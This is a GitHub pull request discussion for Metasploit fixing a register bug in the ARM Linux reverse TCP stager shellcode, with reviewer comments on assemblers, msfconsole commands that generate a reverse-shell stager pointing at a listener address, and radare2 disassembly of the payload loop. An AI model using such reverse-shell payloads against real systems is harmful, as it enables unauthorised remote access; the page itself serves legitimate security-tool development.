-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[shellcode, stager] ARM stager restore r0 in loop #19367
base: master
Are you sure you want to change the base?
Conversation
r0 has return value instead of sockfd in second loop interation
There might be the same problem with |
Thanks for the pull request! Is this PR related to this issue? #16107 👀 |
@adfoster-r7 I just looked through this issue. It might be related to this (reading from bad file descriptor causes segfault). We also need to reassemble shellcode from external directory and put it to P.S. I am currently working on creating an alternative platform in Python (like Metasploit) and store all payloads in assembly code and then invoke assembler on them only when user needs it. - You can take a look at it here - https://github.com/EntySec/HatSploit/blob/main/hatsploit/payloads/single/linux/x64/shell_reverse_tcp.py |
metasm isn't always viable/reliable, but if it is - that works for me 👍 In the scenarios were metasm isn't viable, which is an issue we ran into with the osx aarch64 payloads that landed recentlyish - we added a quick pipe of objdump to ruby to grab out the hex representation and comments, example: https://github.com/rapid7/metasploit-framework/pull/17129/files#diff-23f0b96528cb168853ac403470d4c09a500213b5b39d82fff073a04eab42aac0R1-R2 - it might be possible to follow suit with this pattern so it's easier to change the payloads again in the future |
@adfoster-r7 I have an idea. You can actually use keystone-engine instead of metasm. It seems more advanced and powerful and supports most of the CPU architectures. I used it to write shellcodes for macOS too and on M1 (arm64) it works well. I compiled few sources from external directory here and they seem to work just fine. In fact, my tool that I mentioned above where I store all payloads in assembly and then assemble them in keystone-engine has no issues with this approach. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @enty8080!
So the shellcode is working but I don't think the change you did inside the .rb
is reflecting your change on the .s
.
Let me show you.
I've checked out your pr and have done:
msf6 payload(linux/armle/shell/reverse_tcp) > set lhost 172.26.152.250
lhost => 172.26.152.250
msf6 payload(linux/armle/shell/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(linux/armle/shell/reverse_tcp) >
[*] Started reverse TCP handler on 172.26.152.250:4444
msf6 payload(linux/armle/shell/reverse_tcp) > generate -f elf -o ~/Public/stager.armle
[*] Writing 344 bytes to ~/Public/stager.armle...
msf6 payload(linux/armle/shell/reverse_tcp) >
Then I opened the stager with radare 2
┌──(kali㉿kali)-[~/Public]
└─$ radare2 stager.armle
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00008054]> aaaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Emulate functions to find computed references (aaef)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)
[0x00008054]> afl
0x00008054 11 244 entry0
[0x00008054]> pdf
....
radare2 output:
│ │││ ;-- syscall.mmap2:
│ │││ ;-- syscall.mmap2.0:
│ │││ 0x000080e0 000000ef svc 0
│ │││ 0x000080e4 010070e3 cmn r0, 1 ; 1
│ ┌────< 0x000080e8 1200000a beq 0x8138
│ ││││ 0x000080ec 637087e2 add r7, r7, 0x63
│ ││││ 0x000080f0 0010a0e1 mov r1, r0
│ ││││ 0x000080f4 0030a0e3 mov r3, 0
│ ││││ 0x000080f8 0c00a0e1 mov r0, ip
│ ││││ ; CODE XREF from entry0 @ 0x8120(x)
│ ┌─────> 0x000080fc 00209de5 ldr r2, [sp]
│ ╎││││ 0x00008100 fa2f42e2 sub r2, r2, 0x3e8
│ ╎││││ 0x00008104 00208de5 str r2, [sp]
│ ╎││││ 0x00008108 000052e3 cmp r2, 0
│ ┌──────< 0x0000810c 040000da ble 0x8124
│ │╎││││ 0x00008110 fa2fa0e3 mov r2, 0x3e8
│ │╎││││ ;-- syscall.291.1:
│ │╎││││ ;-- syscall.291.4:
│ │╎││││ 0x00008114 000000ef svc 0
│ │╎││││ 0x00008118 000050e3 cmp r0, 0
│ ┌───────< 0x0000811c 050000ba blt 0x8138
│ ││└─────< 0x00008120 f5ffffea b 0x80fc
│ ││ ││││ ; CODE XREF from entry0 @ 0x810c(x)
│ │└──────> 0x00008124 fa2f82e2 add r2, r2, 0x3e8
Where you see the ; CODE XREF from entry0 @ 0x8120(x)
you can see the loop:
you were trying to modify to include the mov r0, ip
. The radare2 graph analysis, however, is showing we are still not executing that instruction inside the loop.
Binary Ninja Graph analisys
One way to fix this is to modify also the branch instruction to include the previous instruction inside the loop, you can use rasm2 to assemble the new instruction:
┌──(kali㉿kali)-[~]
└─$ rasm2 -a arm -b 32 -o 0x8120 'b 0x80fc'
f5ffffea
┌──(kali㉿kali)-[~]
└─$ rasm2 -a arm -b 32 -o 0x8120 'b 0x80f8'
f4ffffea
Than change the modules/payloads/stagers/linux/armle/reverse_tcp.rb
line 92
FROM:
0xeafffff5, # b 80dc <loop>
TO:
0xeafffff4, # b 80dc <loop>
Let me know if you need anything else!
@dledda-r7 Thank you for detailed explanation, I see where I made a mistake. I've just changed this instruction in payload. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good
r0 has return value instead of sockfd in second loop iteration
After first iteration r0 is filled with recv() return code, however we expect it to have sockfd for the next iteration, otherwise recv() will attempt to read from bad file descriptor (aka return value of previous recv() call)
It might require to modify stager inside modules directory.